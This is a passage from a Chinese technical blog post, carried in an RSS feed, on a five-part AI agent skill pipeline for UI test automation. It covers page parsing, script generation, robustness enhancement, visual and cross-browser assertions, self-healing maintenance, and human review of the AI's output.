&lt;code&gt;ui-page-parser&lt;/code&gt; 输出的 &lt;code&gt;pages.yaml&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;团队 UI 框架规范（框架选型、目录结构、定位策略优先级、等待机制、断言策略）&lt;/li&gt;
&lt;li&gt;测试数据规则（可选，用于自定义数据构造规则）&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;pages/&lt;/code&gt; 层：页面对象类（如 &lt;code&gt;LoginPage.ts&lt;/code&gt; / &lt;code&gt;LoginPage.py&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;testcases/&lt;/code&gt; 层：测试用例脚本（如 &lt;code&gt;test_login.spec.ts&lt;/code&gt; / &lt;code&gt;test_login.py&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;data/&lt;/code&gt; 层：测试数据文件（YAML/JSON）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;核心价值：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;替代人工从零编写 POM 和用例，一步完成「数据 + 页面 + 用例」的全量产出。特别适合快速落地、小型项目、新手入门，上手更快、操作更简单、一步生成即用。&lt;/p&gt;
&lt;h3 id="Skill 3：ui-testscript-enhancer — 脚本健壮性增强"&gt;Skill 3：ui-testscript-enhancer — 脚本健壮性增强&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定位：对基础脚本进行自动化增强，让脚本从「demo 级」进化为「生产级」。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529155545345.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;它解决什么问题？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ui-testscript-generator&lt;/code&gt; 生成的脚本，结构规范、用例完整，但缺少生产环境必需的健壮性逻辑。具体来说就是：没有智能等待（或硬编码 &lt;code&gt;sleep&lt;/code&gt;）、没有弹窗拦截、没有 iframe 自动切换、没有异常重试、没有失败追溯、验证码直接拦死。&lt;/p&gt;

&lt;p&gt;demo 级脚本能跑通，一上 CI 环境就各种挂。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心能力（六大增强维度）：&lt;/strong&gt;&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;增强维度&lt;/th&gt;
&lt;th&gt;解决什么问题&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;智能等待补全&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;替换硬编码 &lt;code&gt;sleep&lt;/code&gt;，自动补充页面加载等待、元素可见性等待、Ajax 异步等待、动画过渡等待、元素状态变更等待&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;弹窗与干扰处理&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自动检测意外弹窗（广告、权限申请）→ 尝试关闭 → 继续执行；Toast 消息自动捕获与断言&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;iframe/Shadow DOM 处理&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自动识别 iframe 嵌套 → 切换上下文 → 定位内部元素；Shadow DOM 穿透定位&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;异常重试与容错&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;元素未找到自动重试 3 次 → 截图存档 → 记录日志；页面崩溃自动刷新恢复；网络超时自动重试&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;失败追溯增强&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自动截图（失败时全页截图）、自动录屏（Trace 文件）、自动记录网络请求日志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;登录验证码识别&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;图形验证码、滑动验证码、文字点选验证码、计算题验证码，自动识别并处理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;&lt;strong&gt;输入：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ui-testscript-generator&lt;/code&gt; 输出的基础 UI 脚本&lt;/li&gt;
&lt;li&gt;页面交互规则和特殊处理需求（验证码类型、异步加载模式、弹窗触发条件、iframe 结构）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;增强后的 UI 自动化测试脚本 + 增强配置文件（如 &lt;code&gt;enhanced_base_page.py&lt;/code&gt;，封装了所有增强逻辑的基类）。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心价值：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;过滤 AI 生成脚本的「脆弱」问题。一个 &lt;code&gt;@retry_on_failure&lt;/code&gt; 装饰器就能让失败的用例自动重试，一个 &lt;code&gt;ddddocr&lt;/code&gt; 集成就能让验证码不再拦截自动化流程。脚本不再只是「能跑」，而是「跑得稳」。&lt;/p&gt;
&lt;h3 id="Skill 4：ui-visual-assert — 视觉断言与多浏览器适配"&gt;Skill 4：ui-visual-assert — 视觉断言与多浏览器适配&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定位：为 UI 脚本添加视觉断言能力，实现跨浏览器、跨分辨率的兼容性验证。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529183958465.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;它解决什么问题？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;传统的 DOM 断言只能验证「元素在不在」「文本对不对」，但测不出「页面看起来对不对」。元素存在、文本正确，但布局错位、颜色不对、响应式崩塌，DOM 断言照样全部通过。&lt;/p&gt;

&lt;p&gt;更麻烦的是多浏览器兼容。同一套脚本在 Chromium 跑得好好的，换 Firefox 点击坐标偏移，换 WebKit 样式渲染不一致，适配成本爆炸。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529184337066.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心能力（三大维度）：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;维度一，视觉断言。&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;全页截图对比：将当前页面截图与基线图片进行像素级比对，自动识别视觉差异&lt;/li&gt;
&lt;li&gt;局部元素截图对比：针对特定组件（如导航栏、卡片、表单）单独截图比对&lt;/li&gt;
&lt;li&gt;动态区域忽略：自动识别时间戳、随机数、广告位等动态内容，设为忽略区域&lt;/li&gt;
&lt;li&gt;像素差异阈值：可配置容差，避免亚像素级别的渲染差异导致误报&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;维度二，响应式适配。&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;自动生成多分辨率测试配置（桌面端 1920×1080、平板 768×1024、移动端 375×667）&lt;/li&gt;
&lt;li&gt;验证不同视口下的布局一致性&lt;/li&gt;
&lt;li&gt;自动检测响应式断点处的布局偏移&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;维度三，多浏览器兼容。&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;同一脚本适配 Chromium / Firefox / WebKit 三大引擎&lt;/li&gt;
&lt;li&gt;自动处理浏览器兼容性差异（如 Firefox 的点击偏移、WebKit 的 CSS 渲染差异）&lt;/li&gt;
&lt;li&gt;每个浏览器 × 每个视口独立维护基线图片，避免跨浏览器渲染差异导致的误报&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输入：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ui-testscript-enhancer&lt;/code&gt; 输出的增强脚本&lt;/li&gt;
&lt;li&gt;视觉基线图片（可选，首次运行时自动生成）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;含视觉断言的跨浏览器测试脚本 + 基线图片库 + 差异对比报告。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529184410119.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心价值：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;超越传统 DOM 断言，实现「页面看起来对不对」的智能验证。不再需要人肉肉眼去逐个浏览器、逐个分辨率检查，Skill 自动跑完所有组合，输出差异报告。&lt;/p&gt;
&lt;h3 id="Skill 5（可选）：ui-auto-maintainer — 智能维护与自愈"&gt;Skill 5（可选）：ui-auto-maintainer — 智能维护与自愈&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定位：长期运维 Skill，负责页面变更感知、定位策略自动修复、视觉基线更新。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;它解决什么问题？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;UI 自动化的头号杀手不是技术难度，而是维护成本。前端改版是常态——元素属性变了、布局重构了、组件替换了，之前的定位策略全部失效。如果不做维护，脚本很快就会沦为「一次性工程」。&lt;/p&gt;

&lt;p&gt;传统模式下，维护全靠人工：定期跑脚本 → 发现大面积失败 → 逐个排查 → 手动修复定位 → 更新基线。这个循环一旦转起来，维护工作量会越来越大，最终压垮整个自动化项目。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心能力：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;页面变更检测&lt;/strong&gt;：定时抓取最新页面 DOM，diff 对比识别变更点（元素属性变更、布局重构、组件替换）&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;定位策略自愈&lt;/strong&gt;：基于视觉相似度和语义匹配，自动修复失效的元素定位，更新 POM 类中的定位代码&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;视觉基线更新&lt;/strong&gt;：识别有意的 UI 改版（vs 无意的视觉 bug），自动更新截图基线，减少误报&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;失败根因分析&lt;/strong&gt;：自动分析失败截图、Trace 日志、网络请求，区分「页面变更 / 脚本问题 / 真实缺陷」，生成修复建议&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输入：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;历史脚本 + 最新页面结构（定时抓取）&lt;/li&gt;
&lt;li&gt;失败日志与截图&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;更新后的脚本 + 维护报告&lt;/li&gt;
&lt;li&gt;变更通知 + 修复建议清单&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;核心价值：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;解决 UI 自动化「维护成本高」的终极痛点。前端改版后，不再需要人工逐个排查失效脚本，Skill 自动检测变更、自动修复定位、自动更新基线，实现可持续运营。&lt;/p&gt;
&lt;h2 id="四、除了 4+1 核心架构，还可以按需扩展"&gt;四、除了 4+1 核心架构，还可以按需扩展&lt;/h2&gt;
&lt;p&gt;上面的 4+1 Skill 覆盖了 UI 自动化测试的核心闭环。如果你的团队有特殊场景需求，还可以在这套基础上补充：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;扩展 Skill&lt;/th&gt;
&lt;th&gt;核心职责&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;跨端适配 Skill&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;专门处理 Web / H5 / 小程序的脚本迁移与适配&lt;/td&gt;
&lt;td&gt;多端业务线，需要一套脚本覆盖多端&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;性能测试联动 Skill&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;基于 UI 脚本自动生成 Lighthouse 性能测试配置&lt;/td&gt;
&lt;td&gt;前端性能监控，CI 流水线自动跑性能回归&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;无障碍测试 Skill&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;基于 POM 自动生成 axe-core 无障碍审计脚本&lt;/td&gt;
&lt;td&gt;合规要求、信息无障碍标准落地&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;&lt;strong&gt;核心原则：先落地前四个最核心的 Skill 实现闭环，再根据团队实际场景扩展，避免过度设计。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="五、全流程串联回顾"&gt;五、全流程串联回顾&lt;/h2&gt;
&lt;p&gt;把整条链路用命令行风格串起来，就是这样的：&lt;/p&gt;
 &lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. 启动解析（一个入口 URL，全站自动遍历）&lt;/span&gt;
/ui-page-parser 请抓取 http://localhost:3000/ 的全站页面

&lt;span class="c"&gt;# 2. 第一站：页面解析&lt;/span&gt;
   ├─ BFS 爬虫遍历全站 → 发现全部页面
   ├─ 需要认证？→ 启动 Chrome，CDP 复用登录态
   ├─ 逐页提取元素 → 每个页面生成结构化定义
   ├─ 自动截图 → 每个页面保存可视化快照
   └─ 输出 pages.yaml ← 标准化页面对象定义

&lt;span class="c"&gt;# 3. 第二站：脚本生成&lt;/span&gt;
   └─ pages.yaml → ui-testscript-generator
      ├─ 测试数据智能构造（正向/边界/非法/空值/注入）
      ├─ POM 类自动生成（含智能定位策略）
      ├─ 测试用例自动生成（含多维度断言）
      └─ 输出 pages/ + testcases/ + data/ ← 完整项目结构

&lt;span class="c"&gt;# 4. 第三站：健壮性增强&lt;/span&gt;
   └─ 基础脚本 → ui-testscript-enhancer
      ├─ 智能等待补全（替换硬编码 &lt;span class="nb"&gt;sleep&lt;/span&gt;）
      ├─ 弹窗拦截 + iframe 自动切换
      ├─ 异常重试 + 失败截图/录屏
      ├─ 验证码自动识别
      └─ 输出增强脚本 ← demo 级进化为生产级

&lt;span class="c"&gt;# 5. 第四站：视觉断言与多浏览器适配&lt;/span&gt;
   └─ 增强脚本 → ui-visual-assert
      ├─ 视觉断言（全页 + 局部截图对比）
      ├─ 响应式适配（桌面/平板/移动端）
      ├─ 多浏览器兼容（Chromium/Firefox/WebKit）
      └─ 输出跨浏览器脚本 + 基线图片库 ← 视觉级验证

&lt;span class="c"&gt;# 6. 第五站（可选）：智能维护&lt;/span&gt;
   └─ 生产脚本 → ui-auto-maintainer（定时触发）
      ├─ 页面变更检测（DOM diff）
      ├─ 定位策略自愈
      ├─ 视觉基线更新
      └─ 输出维护报告 + 修复建议 ← 可持续运营
&lt;/code&gt;&lt;/pre&gt; &lt;h2 id="六、AI 负责干活，人负责把关"&gt;六、AI 负责干活，人负责把关&lt;/h2&gt;
&lt;p&gt;这里有一个关键问题必须说清楚，&lt;strong&gt;AI 生成的一切结果，都不是直接拿来就用，需要人工校验。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这套 4+1 Skill 能帮你完成的是「解析、生成、增强、适配、维护」这些动作，把数周甚至数月的体力劳动压缩到几分钟或几小时。但以下这些事情，AI 做不了，仍然需要人来把关：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;AI 负责的事&lt;/th&gt;
&lt;th&gt;人负责的事&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;全站页面自动遍历&lt;/td&gt;
&lt;td&gt;确认遍历范围是否完整（有没有遗漏关键页面）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;元素定位策略推导&lt;/td&gt;
&lt;td&gt;校验定位策略是否合理（跟真实页面核对）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;测试数据智能构造&lt;/td&gt;
&lt;td&gt;确认数据规则是否覆盖核心业务场景&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;脚本健壮性增强&lt;/td&gt;
&lt;td&gt;确认等待策略、异常处理是否符合真实交互&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;视觉断言与多浏览器适配&lt;/td&gt;
&lt;td&gt;确认基线图片是否准确、容差阈值是否合理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;页面变更检测与自愈&lt;/td&gt;
&lt;td&gt;确认自愈后的定位是否正确（而非「恰好能找到」）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;&lt;strong&gt;说白了，AI 负责把「从 0 到 80」的体力活干完，人负责「从 80 到 100」的质量把关。&lt;/strong&gt; 这样既高效，又不会失去对质量的控制。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;特别提醒：&lt;/strong&gt; 在 Skill 调试和初期使用阶段，建议打开真实网页，挑几个关键页面和关键元素，用开发者工具核对 AI 生成的 &lt;code&gt;pages.yaml&lt;/code&gt;、POM 类、定位策略与页面实际元素是否一致，确保解析结果的真实性和准确性。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="写在最后"&gt;写在最后&lt;/h2&gt;
&lt;p&gt;回顾一下整套架构：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;痛点：&lt;/strong&gt; 从页面解析到脚本维护，UI 自动化的每个环节都耗时费力，且高度依赖人工经验。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;方案：&lt;/strong&gt; 不要搞万能 Skill，按职责拆成 4+1 个专业 Skill，每个只做一件事，形成 &lt;code&gt;解析 → 生成 → 增强 → 适配 → 维护&lt;/code&gt; 的完整闭环。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;效果：&lt;/strong&gt;&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;传统模式&lt;/th&gt;
&lt;th&gt;Agent Skill 模式&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;人工抓元素 3-5 天&lt;/td&gt;
&lt;td&gt;一个入口 URL，几分钟全站遍历&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;手写 POM + 用例 + 数据，数周&lt;/td&gt;
&lt;td&gt;一步批量生成，分钟级&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;demo 级脚本，上 CI 就挂&lt;/td&gt;
&lt;td&gt;自动补全等待/异常/弹窗/验证码，生产级&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DOM 断言测不出样式问题&lt;/td&gt;
&lt;td&gt;视觉断言 + 多浏览器 × 多分辨率自动覆盖&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;前端改版 → 脚本全废 → 人工修&lt;/td&gt;
&lt;td&gt;变更检测 + 定位自愈 + 基线更新&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;&lt;strong&gt;边界：&lt;/strong&gt; AI 负责解析、生成、增强、适配和维护，人负责校验和决策。&lt;/p&gt;

&lt;p&gt;这套 4+1 Skill 架构，不是理论设计，而是「[&lt;strong&gt;狂师 . AI 进化社&lt;/strong&gt;] 的成员们正在实际使用的方案。很多同学反馈，UI 自动化测试的落地效率明显提升，不再被元素定位、脚本编写、维护成本折磨了。&lt;/p&gt;</description>
      <author>mikezhou</author>
      <pubDate>Sat, 08 Aug 2026 08:45:08 +0800</pubDate>
      <link>https://testerhome.com/topics/44591</link>
      <guid>https://testerhome.com/topics/44591</guid>
    </item>
  </channel>
</rss>
